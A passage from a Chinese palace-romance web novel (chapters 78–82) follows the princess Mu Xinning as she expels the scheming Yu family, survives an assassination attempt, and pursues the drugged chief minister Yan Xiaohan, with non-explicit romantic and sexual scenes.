男人一身黑衣身骑骏马意气风发,那张脸更是好看的让人窒息。 晏骁寒只看了慕馨宁一眼,就收回了目光。 他好似对慕馨宁视而不见,却又勒紧缰绳,放慢了速度,似乎在等着慕馨宁跟他说话。 可慕馨宁只顾盯着那张俊脸看,根本没有要开口的意思。 等人走远了,耳边响起杜若的声音:“主子,快开饭了,要不然请晏首辅进府吃顿饭吧?” 慕馨宁诧异:“本宫没记错的话,你之前不是还想杀他?” 杜若:“……” 她心里腹诽,还不是看您盯着晏首辅那张脸魂儿都要丢了,否则奴婢怎么能出尔反尔。 次日一早,虞家人被送回老家,慕馨宁特意给永平帝上了折子。 永平帝也不大看得上虞家人,走就走吧,但是虞家人一走,岂不是没人给慕馨宁添堵了? 之前他送给晏骁寒四个美人儿,就是想给慕馨宁添堵,没想到慕馨宁不但不生气不难过,还又亲自给晏骁寒添了四个,真是道高一尺魔高一丈,他心里不痛快。 “太后那边知道了吗?”永平帝合上折子,忽然问贵公公。 贵公公眼珠子转了转,弯腰回:“昨天公主府闹出那么大的动静,太后娘娘那边应该是知晓的。” 永平帝嘴角上扬,知道了就好。 此时,景阳宫。 太后卧床好一阵子,才有了那么点精神头。 可是一想到信武侯府十万两黄金都到了慕馨宁手里,就觉得气不顺的很。 那是一百万两白银,这么多钱可是招买多少人马,收拢多少人心? “哀家听说,慕馨宁要送虞家人回老家?” 王福点头:“是啊太后,好歹虞放也是为长公主卖命,没想到她对虞家人说翻脸就翻脸了。” “安排些个人,把他们都杀了。”太后语气淡淡。 王福眼里闪过震惊,但还是痛痛快快的就去办了。 就算虞家那些个人不堪大用,要是都死了,虞放定会跟慕馨宁翻脸,到时候就有好戏看了。 “太后,惠明公主来了。”芝嬷嬷从外头进来,脸色不大好看。 太后揉了揉太阳穴:“哀家身子骨不舒坦,让她改日再来。” 宋菀菀来,表面担心她的病情,实则还是想怂恿她要慕馨宁的命。 她当然想杀慕馨宁,但是总要寻个机会,怎么能像宋菀菀那样,用那些个愚笨的手段,到头来还不是自己吃亏? 公主府门口,又有百姓看热闹了。 因为今日是虞家人回老家的日子,看着他们一个个狼狈不堪灰头土脸的样子,好些人都是幸灾乐祸。 虞老夫人被下人搀扶着,颤颤巍巍的下了台阶。 她回头,看了一眼高大显赫的公主府门面,眼里都是怨愤和不甘。 就这么走了吗,那她的老脸往哪搁? “来啊,我们向公主府给长公主磕个头,感谢长公主这些日子对我们的招待。” 虞家其他人愣住,有些不情愿。 慕馨宁都把他们赶回老家了,还感谢慕馨宁做什么,还磕哪门子的头? 但虞老夫人发话,他们也不好反驳。 不等众人屈膝,刘营前制止:“虞老夫人,有这个做面子的功夫,不如好好学学如何做人,如何教育儿孙。” 虞老夫人这做派,哪是感谢,分明就是想让慕馨宁难堪。 这下难堪的成了虞老夫人,她心里一万个瞧不上刘营,还不是公主府的一个狗仗人势的奴才,竟然还敢教育起她来? 即使虞老夫人对刘营再不满,表面还得陪笑:“你说得对,都是老身的错……” 话音未落,她转身没走几步,忽然两眼一翻,就昏死了过去。 虞文茵眼里闪过什么:“祖母……祖母你怎么了……快把祖母抬进府里,请大夫瞧瞧……” 看着原本出了公主府的虞家人,又一窝蜂的架着虞老夫人跑了回去,刘营烦躁的挠了挠头。 虞老夫人当然配不上姬神医出面,但是这也是她们要的结果。 “长公主,大夫说虞老夫人年事已高,身体不好,不适合舟车劳顿……” 王婆子收了虞家的好处,不得不给虞家传个话。 本以为慕馨宁会松口,至少把虞老夫人留在公主府。 她却道:“那就都送到本宫郊外的庄子上,那边空气清新也适合修身养性。” 她说的,还是那些个纨绔子弟开荒的地方。 无论如何,公主府是容不下他们了,这些人走了,她府上也能清净一点。 虞老夫人本来还打着好算盘,结果听了王婆子这话,差点没背过气去,长公主当真是个绝情的! 虞文茵打着孝顺的名义,去求慕馨宁把虞老夫人留在长公主府修养,结果连慕馨宁的面都没见上。 慕馨宁已经带着人出去巡铺子和庄子了,而且把老头儿也带上了。 这些日子,玄翎将太后和信武侯的人被清的差不多了,慕馨宁准备大干一场。 慕馨宁看着账册上长长的大写数字,觉得有些累眼睛,在这个时代,阿拉伯数字还没传过来,慕馨宁打算抽空做个培训,除了教他们阿拉伯数字,还要教他们一些新的营销理念。 幸好她做鬼时没有自甘堕落混日子,一直都在学习各种本事打发时间,如今,她要把她学的所有知识都运用上,才不枉重活一世。 “主子,这么晚了,我们是回府,还是去庄子上?” 慕馨宁从最后一个铺子里出来,鸦羽看着渐渐暗下来的天色开口问。 杜若忽然想起什么,有些开心:“主子,城东庄子上的槐花开的正好,香气扑鼻,我们去庄子上住一晚吧,正好可以吃槐花馅的饺子。” 原本杜若口腹之欲并不重,还不是这段时日跟在慕馨宁身边尝惯了美味,忽然觉得能吃一顿好的,也是一件很幸福的事情。 “好,那我们这就去庄子上。” 慕馨宁也来了兴致,最主要的这些日子总待在府里,也烦闷了,正好散散心,老头儿也一定高兴! 上了马车,慕馨宁就靠在角落里打盹,不知过了多久,杜若忽然扯了扯她的袖子:“主子你看,又有小姐纠缠晏首辅!” 第79章 杀了 慕馨宁挑开车帘看了一眼,才发现那女子好像是朱小姐。 慕馨宁觉得,这个朱小姐不是在跟晏骁寒说她的坏话,就是让晏骁寒取消跟她的婚约,又或者是在向晏骁寒表白。 慕馨宁本来想着看一眼就算了,没想到刚要放下车帘,晏骁寒就看了过来。 今日,晏骁寒穿了一身酱紫色绣锦上添花长衫,他身姿挺拔的立在街角,与身后的楼阁相映生辉,美的如同一副画。 朱小姐顺着晏骁寒的目光,也看见了慕馨宁。 她垂眸,眼里闪过什么,一咬唇,忽然就朝着晏骁寒就扑了上去。 她以为,只要慕馨宁看见她亲近晏骁寒,定会生气,要是对她大打出手,她正好可以扮柔弱,定要让晏骁寒恼了慕馨宁。 没想到,晏骁寒一个侧身,她直接扑了个空。 慕馨宁的马车缓缓靠近,她眼神里都是看热闹的雀跃。 朱小姐一脸委屈:“晏首辅,我……” 晏骁寒:“不必多言,你走吧。” 朱小姐吸了吸鼻子,恶狠狠的看了慕馨宁一眼。 慕馨宁当然看懂了朱小姐那个眼神,她就不明白,她从未得罪过朱小姐,这个朱小姐怎么视她为仇敌,就是因为晏骁寒吗? 她嘴角上扬,似笑非笑的趴在窗口,意味深长的对朱小姐道:“你想做他的女人,用错了办法,你得想法子,脱 光了,爬他的床才行,你以为你往他身上蹭一蹭,他就能对你负责?” 朱小姐气的鼓鼓的,冷哼一声:“我才不屑用你这样的手段!” 这话也是慕馨宁一个女子能说的,真是不嫌害臊,果然是放浪形骸惯了,让人恶心! 鸦羽脸色冷肃,当即就要拔剑。 一个三品侍郎的庶女,竟然敢对长公主如此不敬,真是该杀。 慕馨宁微微抬手,鸦羽不情愿的将刚要拔出的脸重新入鞘,退到一旁。 慕馨宁饶有兴致的,将朱小姐从头到脚打量一遍:“对,你高贵,你自命不凡,虽然你嘴上不屑,其实心里已经愁于怎么进他府上,如何上他的床吧?” 慕馨宁只顾着怒怼朱小姐,根本没在意晏骁寒的俊脸早已经黑如锅底,原本璀璨的双眸里,尽是狂风骤雨。 慕馨宁每次嘲讽别的女人,都会拿他做幌子,是不是觉得他是只病猫? 慕馨宁忽然觉得没来由的冷,当她看见晏骁寒难看的脸色,这才反应过来,这厮是生气了。 解释也不知道解释,又觉得没必要解释,反正两个人的梁子也不小,虱子多了不怕痒。 朱小姐已经气的瑟瑟发抖,眼泪如断了线的珠子,她恨慕馨宁,恨不得嚼碎了慕馨宁的骨头! 前些日子,她不过是在公主府门口替那几个美人说了句公道话,却被慕馨宁那般羞辱,还要赏给她父亲小妾。 从那开始,无论是在家里,还是在外面,她的名声坏的不可收拾。 更可气的是,她那个好父亲,竟然还责备她怎么没有把长公主赏给他的美人领回府里,他还能借着这个机会攀附长公主。 因此,父亲处处看她不顺眼,如今竟然为了自己的仕途,要把她嫁给一个四十多岁的老男人做续弦! 没办法,她只能来向晏骁寒寻求帮助。 她相信,如果慕馨宁没有出现,晏骁寒定会出手救她出火海的,都怪慕馨宁搅了她的好事! 朱小姐一脸幽怨的盯着慕馨宁许久,鸦羽差点又要拔剑削了朱小姐的脑袋,可朱小姐并没意识到危险。 即使回怼慕馨宁的话都到了嘴边,朱小姐却又不敢说出来,因为她怕再次遭到慕馨宁的羞辱而无力反击。 慕馨宁等了半天,也不见朱小姐再开口,朝着晏骁寒点头打了个招呼,马车就走远了。 即墨看着自家主子难看的脸色,一脸无奈:“长公主也太过分了,竟然教别的女人爬您的床。” 晏骁寒冷冷的看了即墨一眼,这小子长这张嘴,就是为了给他添堵的吗? 即墨意识到危险,立刻闭嘴,大气都不敢喘了。 朱小姐忽然提着裙摆,扑通一下跪在了晏骁寒脚下:“首辅大人,我求求你,只要你能收留我,哪怕我在你身边做个洒扫丫鬟也行!” 只要她有机会进晏骁寒府上,有朝一日定能出人头地混个名分来,到时候,想要收拾慕馨宁,那就容易多了! 朱小姐已经开始做美梦,没想到晏骁寒却态度冷漠:“你的家事本官无能为力,好自为之。” 晏骁寒翻身上马,刚刚要不是朱小姐拼命阻拦他的马,他也不会停下来跟她浪费这么多时间。 马儿打了个响鼻,本能的在原地转了个圈寻找方向。 晏骁寒不经意看见慕馨宁的马车又停了下来,玄翎打马靠近,然后从马背上一跃,径自进了慕馨宁的马车里。 刚被丫鬟扶起来的朱小姐见此,嘴角扯过一抹冷笑,扬声道:“长公主可真是不顾及首辅大人的颜面,竟然在大街上就让外男上了自己的马车。” 晏骁寒看都没看朱小姐一眼,马蹄溅起的灰尘呛的朱小姐咳嗽了好几声。 马车内,慕馨宁看着浑身是汗的玄翎,纳闷的问:“你去哪了?” 玄翎喝了口茶:“出城了,谈两家生意。” 说真的,玄翎在军中确实是一个好统领好将军。 不过他的性子,更适合经商,他嘴皮子溜,人也聪明,而且他也喜欢这种没有拘束的日子。 这才过了多久,他已经给慕馨宁赚的盆满钵满了。 “去哪?”玄翎随便用袖子蹭了一把额头上的汗问。 “庄子上吃槐花馅的饺子。” 玄翎点头,没有要下车的意思,是打算跟慕馨宁一道去了。 “边关来信了,虞放又夺回了一座城池。” 慕馨宁听了顿时高兴起来:“太好了,北赫国那个将领还在虞放手里,估计北赫不得不跟东陵议和了。” “北赫已经在商讨来东陵议和的使臣,永平帝很快就会收到国书。” 上次北赫说来东陵议和是假的,但是这一次,定然是真的了。 慕馨宁笑出声来:“这件事,估计太后和信武侯很快就能知道了。” 等他们知道自己被皇上和晏骁寒骗的团团转的时候,应该得吐血吧,有些期待。 两个人正在说话,玄翎耳朵一动,忽然面色一变。 “怎么了?” “有刺客,我去看看。” 玄翎闪身出去,没多久外头就传来打斗的声音。 杜若白了脸:“主子,我们还是回公主府吧?” 她觉得还是府里安全,还是不要去庄子上了。 慕馨宁面不改色:“怕什么。” 她能轻易调动三万私兵保她平安,而别人却是不能轻易调动三万杀手要她性命。 难道就因为她怕死,还要一辈子待在公主府不出门了不成? 马车快要行至庄子上的时候,玄翎又上了马车。 他身上沾了血迹,血腥气扑面而来。 杜若害怕的瑟缩到慕馨宁身后,她没想到玄翎竟然是个杀人如麻的。 第一次见他的时候,她就把玄翎给得罪了,玄翎不会杀了她吧? “解决了?”慕馨宁问他。 玄翎:“十几个刺客,都杀了。” 都是死士,左右也问不出什么,他懒得审。 “你个贱人,弄脏了我的衣裳,你就要陪,十两银子,一文钱都不能少,不然我跟你没完!” 马车到了庄子门口,刚要停下,不远处传来骂骂咧咧的声音。 慕馨宁蹙眉挑开车帘,就见庄子门口围了不少人, 两个人影在人群中撕扯着。 “明明是你先撞在我身上的,我凭什么赔钱?” “我可是虞将军的夫人,你算个什么东西,不过就是一个乡下的泥腿子,没准儿是做了什么错事被长公主发配到这里的,你还有脸跟本夫人顶嘴?” 第80章 出卖色相 杜若的鼻子都要歪了:“这虞家人真是祸害,到了哪里都不得安生。” 外头忽然传来尖叫声,慕馨宁定睛一看,两个人已经动起手来。 “你们愣着干什么,你们都给我上,打死她!”虞夫人趾高气昂的命令下人。 “主子,那个妇人好像是萧副统领的夫人?”杜若终于看清了另一个妇人的脸。 慕馨宁下了马车,鸦羽已经过去将人拉开了。 虞夫人一看见慕馨宁,有些怀疑自己的眼睛,长公主刚把他们赶到庄子上,就来接他们了? 她欣喜若狂,之前老太婆还一口咬定,迟早有一天长公主会亲自来接他们回府,她还不信,没想到这么快就应验了。 萧蘅家里人见了慕馨宁,连忙跪地行礼。 虞夫人趁着萧夫人不注意,冲过去就给了她一个耳光:“贱人,打死你!” 明明就是这个贱人招惹的她,她要是不趁机出了这恶气,定会吃不香睡不好。 看着萧夫人红肿起来的侧脸,虞夫人这才觉得心情舒畅不少。 慕馨宁脸色难看,当着她的面动手,还有没有把她这个长公主放在眼里? 萧夫人捂着红肿的侧脸,眼泪汪汪:“你,竟然当着长公主的面对我动手,你真是欺人太甚!” 虞夫人冷哼一声:“打你都是轻的,我就应该要了你的命,你以为长公主亲自来庄子上干什么,还不是为了接我们回府,我夫君可是在边关领兵打仗,而你……” 她嘲讽一笑:“你的男人,不过是个流放的犯人!” 萧夫人听了这话,看了慕馨宁一眼,并没有太过伤怀,因为萧蘅已经给她来了书信,说他立了大功,很快就要为长公主办大事去了。 “怎么回事?”慕馨宁冷冷扫了虞夫人一眼,虞夫人顿时不敢再撒野。 萧夫人说虞夫人故意往她身上撞,然后还嫌弃她身上脏,让她赔钱。 虞夫人却反咬一口,说是萧夫人故意弄脏了她的衣服。 慕馨宁慕馨宁询问下人,弄清楚情况之后,虞夫人脸上就有些挂不住了。 她这不是也没办法,她手里所有的银钱都被迫秃噜出去了,如今连五两银子都拿不出来。 她来了庄子上之后,见萧家人老实就觉得好欺负,想着趁机讹上一笔,没想到慕馨宁竟然来了。 虞夫人心里慌得不行,慕馨宁不会再生气,把她和一家子赶回乡下吧? 不等虞夫人求饶,这时候,虞老夫人被下人扶着,匆匆的出来了。 虞老夫人根本没意识到情况不对,她看向慕馨宁,笑的开怀:“长公主,您是要接我们回府的吧?” 慕馨宁:“……” 虞家这厚脸皮,她都拍马不及。 虞老夫人还一副受宠若惊的样子“真是的,这么点小事,您让人通知一声,我们自己回去就成,怎么还亲自来接?” 不然,慕馨宁这个时候来庄子上做什么。 杜若实在是看不下去了,当即就没好气的怒怼:“天刚黑就开始做梦了,我们主子是来散心,接你们做什么,难道是觉得你们惹的祸事不够多?” 原本,虞夫人对萧夫人还是一副趾高气昂得意洋洋的姿态,鼻孔都要抬到天上去了,一听杜若这话,顿时觉得颜面全无。 虞老夫人等,也是一脸失望。 虞家对慕馨宁越来越不满,可是无可奈何,毕竟当初慕馨宁连太后的亲外甥信武侯嫡子都敢杀,再想想慕馨宁对着她们拔剑的样子,她们更是敢怒不敢言。 庄子上的下人听了杜若这话,看虞家人的脸色顿时就不一样了。 不是说虞老夫人住不惯京城的长公主府,特意来庄子上修身养性吗,他们这些个人被虞家人使的团团转,把虞家人当祖宗供着,原来竟然是做错了事,被长公主给打发过来的! 慕馨宁的目光落在虞老夫人身上:“看样子虞老夫人身体好的差不多了,不如安排一下,择日回老家吧。” 刚刚虞老夫人健步如飞的样子她可是尽收眼底,什么年老体弱不宜舟车劳顿,都是幌子。 虞老夫人尴尬的恨不得找个地缝钻进去,脸上滚烫,半天不知道说什么才好。 慕馨宁将地上的萧夫人和萧老夫人扶起来,她们浑身是土,估计是刚从地里回来。 “你们吃穿用度一应俱全,花销本宫也管着,就不必这么辛苦了。” 萧老夫人笑着道:“长公主恕罪,我们这些人就是劳碌命,闲着一天都觉得浑身不自在,这多干点农活还能强身健体,总比吃药强。” 慕馨宁点头,这萧家跟虞家真是天壤之别,一个是谦虚低调,一个是横行霸道,人和人真是不能比。 她的目光又落在虞夫人身上:“今日之事,本宫要是不给你一个教训,怕是你们虞家人都要无法无天了。” 虞夫人瞬间面无血色,双腿发软,担心慕馨宁要了她的小命。 不等虞家其他人说话,慕馨宁便一锤定音:“所有人,罚三个月的月例。” 虞家人顿时哭丧起一张脸,之前打着姬神医的名头收了那么多好处,她们大手大脚花了不少,后来被迫又都给吐了出去,他们手里可没几个钱了,这要是三个月没有月例,他们岂不是要吃糠咽菜了? 要罚就罚虞夫人一个,凭什么所有人都罚,他们又没得罪萧家人! 可是虞家一个个的大气都不敢喘,生怕再惹怒了慕馨宁,难以收场。 慕馨宁不再理会虞家人,边往里走边和萧蘅一家人说话。 萧家人得知慕馨宁想尝尝槐花做的吃食,婆媳二人亲自忙碌起来。 不过一个时辰,槐花猪肉饺子,槐花驴肉馅饼,槐花炒鸡蛋、是酥炸槐花就上了桌。 清香甘甜的槐花和其他食材搭配在一起,简直是别有一番滋味。 慕馨宁吃的停不下来,那边玄翎和姬神医已经在拼酒了。 两个人虽然年龄相差很大,却也有些臭味相投,玄翎嘴甜会哄人,老头儿的架子怎么也端不起来,差一点二人就要称兄道弟了。 慕馨宁吃的肚子溜圆,拉着杜若和鸦羽在院子里遛食许久才睡下。 夜里,慕馨宁睡的正香,忽然感觉有什么东西压在了她的身上。 慕馨宁原本还以为是杜若翻身压到了她,忽然又觉得脸上一阵痒痒,她顿时察觉情况不对,猛然睁开双眼。 昏暗的光线中,入眼的是一个陌生的人影。 那人俯身缓缓靠近,长发垂下,落在慕馨宁脸上,所以才觉得痒。 慕馨宁吓了一跳,还没等出手,那人的声音便传进了她的耳朵:“长公主,余某早就心仪长公主了,今日就让余某好好伺候长公主殿下吧……” 他说着,褪下的身上唯一一件轻纱,没等慕馨宁有所反应,就抓着慕馨宁的手放在了自己光滑消瘦的胸前。 慕馨宁犹如触电一般,用尽全力一把将人推开,那人一屁股跌坐在地上。 “大胆,你是谁!”慕馨宁抱着被子,一脸警惕。 话音落,鸦羽便不知从哪冒出来,并且点亮了油灯。 慕馨宁轻易看见了男子一丝不挂的样子,感觉很是辣眼。 这人瘦的脱了相,一张脸也是黑黢黢的。 慕馨宁顿时感觉看见 了什么脏东西,连忙别过头去。 第81章 想睡他 鸦羽抓起一旁的桌布,随手一丢,就将那男子私密之处遮的严严实实。 “你是谁?”慕馨宁怒声开口。 大半夜的,就这副尊容,还敢爬她的床,不是要出卖色相,是要把她吓死。 不等那男子开口,慕馨宁又脸色难看的问鸦羽:“你刚刚干什么去了,杜若呢?” 但凡二人有一个在她身边,也不会闹出这样的事情来。 鸦羽跪地赔罪:“属下腹痛难忍……杜若她也有些身体不适,还在茅房……” 慕馨宁脸色阴沉的看向那个男子:“是你做的手脚?” 不然怎么会这么巧,两个人都闹了肚子? 男子委屈的膝行到慕馨宁跟前,一脸控诉:“长公主何出此言,就算你不喜欢余某,也不能如此污蔑余某。” “长公主忘了,当年您还夸赞过余某,相貌英俊仪表堂堂,想要将余某收进房里……怎的如今竟是这般态度了……” 慕馨宁哑然,努力回想有关这个余某的所有信息,却没有半点印象。 那男子看慕馨宁一脸疑惑的样子,忽的想起什么,摸着自己的脸苦笑一声:“长公主如今不认得余某也是正常,自打余家落魄,家破人亡之后,余某起早贪黑的在这庄子上开荒,风雨无阻,每天只吃一顿饭,能活命就不错了,哪还有曾经的风采……” 慕馨宁明白了,这人是之前被抄家的贪官之子。 曾经遛鸟逗狗的纨绔子弟,如今被折磨的没了人样,慕馨宁终于是有了几分心软。 “拖下去,以后三餐正常,每日只劳作五个时辰。”慕馨宁对鸦羽开口。 左右信武侯的罪证,已经有贪官家眷递给了永平帝,暂时让这些纨绔子弟好过一些,也是应该的。 余公子眼睛一亮,有种劫后余生的感觉。 慕馨宁竟然没治他的罪,还改了规矩,莫非还是对他有意的? 他看着慕馨宁的目光,满是感动和深情:“长公主莫急,等余某养好了身子,定要好好伺候您……” 慕馨宁嘴角抽了抽,谁看见她着急了,再说天底下俊美的男多了去了,她什么眼光,才会看上这位? 等人被拖走,慕馨宁让人换了一床薄被,继续睡。 也不知过了多久,慕馨宁还沉浸在混乱的梦境中,就感觉有人在推她。 “主子,快醒醒,快醒醒!” 慕馨宁吓了一跳,抱着被子从床上弹起来:“怎么了,是不是又有人爬床?” 杜若连忙摇头:“不是,是即墨来了。” 慕馨宁打了个哈欠,重新倒在床上:“他来干什么?” “说是情况紧急,一定要见您和姬神医。” 慕馨宁脸色一变,连忙下床,披了一件衣裳就出去了。 “晏骁寒出事了?”慕馨宁见了即墨就问, 即墨面色凝重的点头,慕馨宁连忙去喊姬神医,没等进门,忽然想起什么。 不等慕馨宁开口,即墨便道:“你有什么条件,都好说。” 慕馨宁没想到这小子有时候挺聪明的,她确实是想‘趁人之危’,没想到这搞得她都不好意思了。 “外公……” 老头儿睡的很沉,房间里弥漫着浓重的酒气,慕馨宁叫了一声,老头儿没有半点反应。 “外公,你醒醒,外公……” 慕馨宁叫了半天,老头儿还是没醒,估计是酒喝的太多,所以他睡的特别沉。 即墨犹豫了一下,端着一盏凉茶就要泼在老头儿脸上。 慕馨宁吓得脸色一变:“你干什么,不想活了!” 这一盏茶要是把老头儿泼醒,别说救命,要他们的命差不多。 即墨无奈的将茶盏放在桌子上,活动了一下手腕:“不行先把人扛去吧,到了地方总能有办法。” 慕馨宁有些头大:“算了吧,老头儿最讨厌有人打扰他睡觉,你要是趁着他没睡醒就把人带走,估计也要跟你们拼命。” “那怎么办?”即墨已经是一脑门的汗,想想主子如今的情形,真是着急又担忧。 慕馨宁就问:“晏骁寒伤的怎么样,伤到了哪里?” 她有一些老头制的急救药,没准能管用。 即墨看了慕馨宁一眼,吞吞吐吐:“没受伤……” 慕馨宁皱眉:“你是不是有病?” 难道是晏骁寒相好的病了,所以即墨才这么着急? 即墨心一横,开口道:“主子被人下了那种药,宫中秘制,寻常大夫无解。” 慕馨宁撇撇嘴:“矫情。” 大不了就睡个女人不就解决了,还这么麻烦做什么。 她在老头儿的柜子里翻了半天,也没找到那种解药,慕馨宁也不知该怎么办了。 即墨犹豫了一下:“要不然,你跟我去瞧瞧吧。” 慕馨宁想说自己能有什么法子,忽然灵光一现,没准儿她能趁虚而入,把晏骁寒给拿下呢? 天赐良机啊! 等慕馨宁和即墨刚出门,床上的老头儿竟然缓缓睁开的眼睛。 老头儿心里雀跃,嘿嘿,他是不是很快就可以抱重外孙了? 慕馨宁到的时候,晏骁寒还在冰水里泡着。 他整个人都是湿漉漉的,面色潮红,呼吸急促,风华无双的俊脸上有水珠滚落,然后掉进浴桶里。 慕馨宁吞了吞口水,顿时觉得心潮澎湃,美男沐浴图,啧啧啧…… 不知怎么的,她脑海里忽然又浮现出之前那位干巴巴黑黢黢的余公子,这么一对比,真是一只仙鹤一只乌鸦。 晏骁寒原本双眼紧闭,极力隐忍着体内的躁动。 忽然察觉到另一人的气息,他这才睁眼,当看见慕馨宁之后,晏骁寒脸色瞬间不大好了。 即墨连忙道:“主子恕罪,姬神医醉了酒,实在没法子,只能……” 即墨看了一眼慕馨宁,忽然又有些后悔自己的决定。 慕馨宁又不是神医,没有解药,所以她现在定会趁虚而入的,他家大人的清白,怕是保不住了。 但是也没法子,别的女人主子也不要,就算失身给慕馨宁,也总比丢了性命强。 晏骁寒眉头紧皱,又闭上眼睛,隐忍着道:“都滚出去。” 即墨一脸担忧,宫中秘药是会要人命的。 慕馨宁给了即墨一个眼神,示意他出去,即墨面色沉重,犹豫许久才扭头离开,并且关上房门。 慕馨宁走到浴桶前,看着晏骁寒那张依旧绝色的俊脸问:“你没有喜欢的人吗,你告诉我是谁,我帮你弄来?” 晏骁寒:“你也滚。” 慕馨宁:“……” 她忍着骂人的冲动,没好气的道:“实在不行,我给你挑两个男人,慕映灼在不在,要不然找他来?” 慕馨宁这话看似不过脑子,其实她就是在试探,万一晏骁寒喜欢男人呢? 如果晏骁寒不喜欢男人,那她可就要下手了…… 男人紧闭的双眼又睁开,虽然身体依旧滚烫,但是他看慕馨宁的目光却极为冰冷:“你再说一遍?” 慕馨宁动了动唇,从晏骁寒要吃人的目光里,轻易就找到了答案。 她笑了笑,伸手脱自己的外衣,随口道:“那你要是喜欢女人,不如给我个机会吧?” 她想睡晏骁寒,许久了。 晏骁寒脸色黑沉,声音嘶哑几分:“天下怎么会有你这种厚颜无耻之人?” 他虽然话说的冷漠无情,可是原本冰冷的目光,在看见慕馨宁玲珑的曲线之后,逐渐升温,口干舌燥的厉害。 慕馨宁毫不在乎晏骁寒的嘲讽,厚着脸皮靠了上来。 她的手搭在他圆润的肩头上,低头就吻上了他棱角分明的薄唇。 很烫,夹杂着男人特有的气息,慕馨宁的心头狠狠地颤动一下。 晏骁寒整个人石化,怎么也没想到慕馨宁这么大胆。 他心中恼火万分,想要一把推开她,想要一掌要了她的命,可是身体里的渴望却愈演愈烈。 第82章 欲求不满 慕馨宁已经心猿意马,她的手不安分的伸进了他湿漉漉的衣襟。 原来,肤如凝脂这个词,也可以形容男人。 慕馨宁觉得不过瘾,直接扯开了他的衣带。 晏骁寒的胸膛坚硬,胸肌腹肌纹理分明,他身上有很多伤疤,那些个伤疤犹如连绵起伏的山脉,每一道沟壑,都牵动了慕馨宁的心弦。 忽然,她的手腕被一只大手抓住,慕馨宁迷离的双眼渐渐清明。 慕馨宁知道晏骁寒是想要拒绝她,她也知道这么趁虚而入不大地道,她有些不舍:“不然给你换……” 话没说完,晏骁寒用力一扯,慕馨宁整个人都进了浴桶里。 “咳咳……”她被呛了一口水,刚要骂人,男人的唇就紧紧的贴上了她的。 男人的吻霸道,且粗鲁,他的手从她的腰迹逐渐上移,最后伸进了慕馨宁的衣襟。 衣衫尽褪,慕馨宁只剩下一层单薄的衣料。 男人忽然抱着她出了浴桶,朝着远处的大床走了过去。 慕馨宁勾着他的脖子,心都要跳出嗓子眼,她这么轻易就能把人给拿下了,简直是跟做梦一样。 晏骁寒赤着上半身,将人毫不怜惜的丢在床上压在身下。 灼热的呼吸喷洒在她的耳畔,慕馨宁尽量迎合着他。 情动时,她放下了所有的高傲和疏离,她将自己的脸埋在他的胸膛,忽然开始奢求那个遥不可及的梦。 就在关键时刻,慕馨宁紧张万分的时候,忽然感觉脖领一痛,整个人就没了知觉。 外头狂风大作风雨交加,也不知道过了多久,又恢复之前的平静。 慕馨宁是被痛醒的,她的手,第一时间就摸向了酸痛的脖子。 晏骁寒并不在床上,而是在不远处的桌案前,处理奏折,凡是递到皇上跟前的折子,他都要过目一遍。 他只着一身单薄的里衣,身体健硕的曲线尽显。 慕馨宁活动了一下身子,发现自己一丝不挂,想起昨晚发生的事情,她愣了愣。 她到底有没有跟晏骁寒事成? 晏骁寒为什么把她打晕? 慕馨宁仔细感受了一下身体,身下好像并没有太明显的感觉,身上也没什么太明显的痕迹。 不对,好像手上有些酸胀。 她抬起自己的右手,在光线下照了照,就发现了明显的红肿。 慕馨宁眉头紧皱,所以,她这是被‘望梅解渴’了? 什么意思,不要她却打晕她,看她的身子用她的手,嫌弃她脏? “晏骁寒!”慕馨宁红着眼睛,声嘶力竭:“你卑鄙无耻!” 即墨就在门外候着,当他听见慕馨宁的咆哮之后,狠狠地翻了个白眼,这女人不是求仁得仁么,自己送上门来,事成之后怎么就这态度,真能装! 晏骁寒只侧头,淡淡的看了她一眼,目光似有若无的落在她手臂那道不浅的疤痕上,眼里似有什么情绪一闪即逝。 他声音磁性低沉:“说这话之前,不如先去问清楚,给本官下药的是谁的人。” 慕馨宁吸了口气,晏骁寒这话的意思,是她送来的那四个美人其中的一个? 所以,晏骁寒如此羞辱她,就是在报复她? 慕馨宁牙齿咬的咯咯作响,快速穿好衣服,就要离开。 她现在就想杀了晏骁寒,但是此事还要回府好好谋划。 “只要我们的婚约还在,就不要和别的男人扯上半点关系,否则,别怪我不客气。” 二人擦肩时,晏骁寒深邃的目光看向她,满是警告, 慕馨宁脸色沉沉,抬步到晏骁寒桌案前,双手撑在桌案上,居高临下的看他:“凭什么命令本宫,你有什么资格?” 晏骁寒搁下手里的笔,微微抬头,即使他此时,比慕馨宁矮了一截,但是气势不减。 “朝廷一直在抓捕的那个强盗,是你的人吧,这些年抢掠盗取的财物,没有五百万也有三百万两白银,如果此事公之于众,你和你那三万私兵,能否独善其身?” 慕馨宁一口气差点没上来,这件事晏骁寒是怎么知道的,是早就知道,隐瞒了下来,还是刚才知晓的? 慕馨宁一时间,有些不知所措。 她默不作声,没了之前的高傲,像霜打的茄子,蔫了下来。 她灰溜溜的刚要出门,晏骁寒的声音又响起:“还有,听说你每晚要与两个婢女同眠?” 慕馨宁气的想要掀了晏骁寒的桌子,眼里的怒火恨不得将晏骁寒点燃:“这你也要管?” 晏骁寒沉默,目光却一直盯着她看。 慕馨宁很快就明白了他的意思,无论是王侯将相还是达官显贵,甚至稍稍殷实一些的人家,大多都有一些特殊的癖好。 且夫妻不和或者寡居之人,想要疏解欲望,也会想别的法子。 可是,除夫妻之外关系的男女睡在一张床上,那就属于关系不正,说难听些就是通奸,若是仓促之下怀了身孕,更加麻烦。 所以那些人暗地里都搞同性相交那一套,不但可以疏解,而且不会怀孕。 他们又不会为了一个孩子争夺家产,也鲜少跟别人争宠,又鲜少被外人察觉,这虽然是陋习,但是为了家庭和谐,家里也是睁一只眼闭一只眼了。 晏骁寒这是怀疑她跟杜若和鸦羽也有那种不正当的关系。 慕馨宁气的天灵盖都要炸了,一把将晏骁寒桌上的奏折全都扫落在地,双目喷火的盯着他那张脸:“晏骁寒,你不要欺人太甚!” 慕馨宁的眼睛更红了,此时此刻,她多想为自己解释一句,可是她的解释不但没有半点用处,更显得她可笑。 晏骁寒沉默着,弯腰,伸手,捡地上的奏折。 慕馨宁拂袖而去,将门外的即墨狠狠地撞了一个趔趄。 即墨一副没眼看的样子,长公主这是一次不够,欲求不满了? 等慕馨宁走远,即墨想起正事连忙进门,一脸严肃的递给晏骁寒两个折子:“我们的人查到长公主手下有两个官员贪墨赈灾银粮,证据确凿。” 晏骁寒翻开折子看了两眼,脸色黑沉。 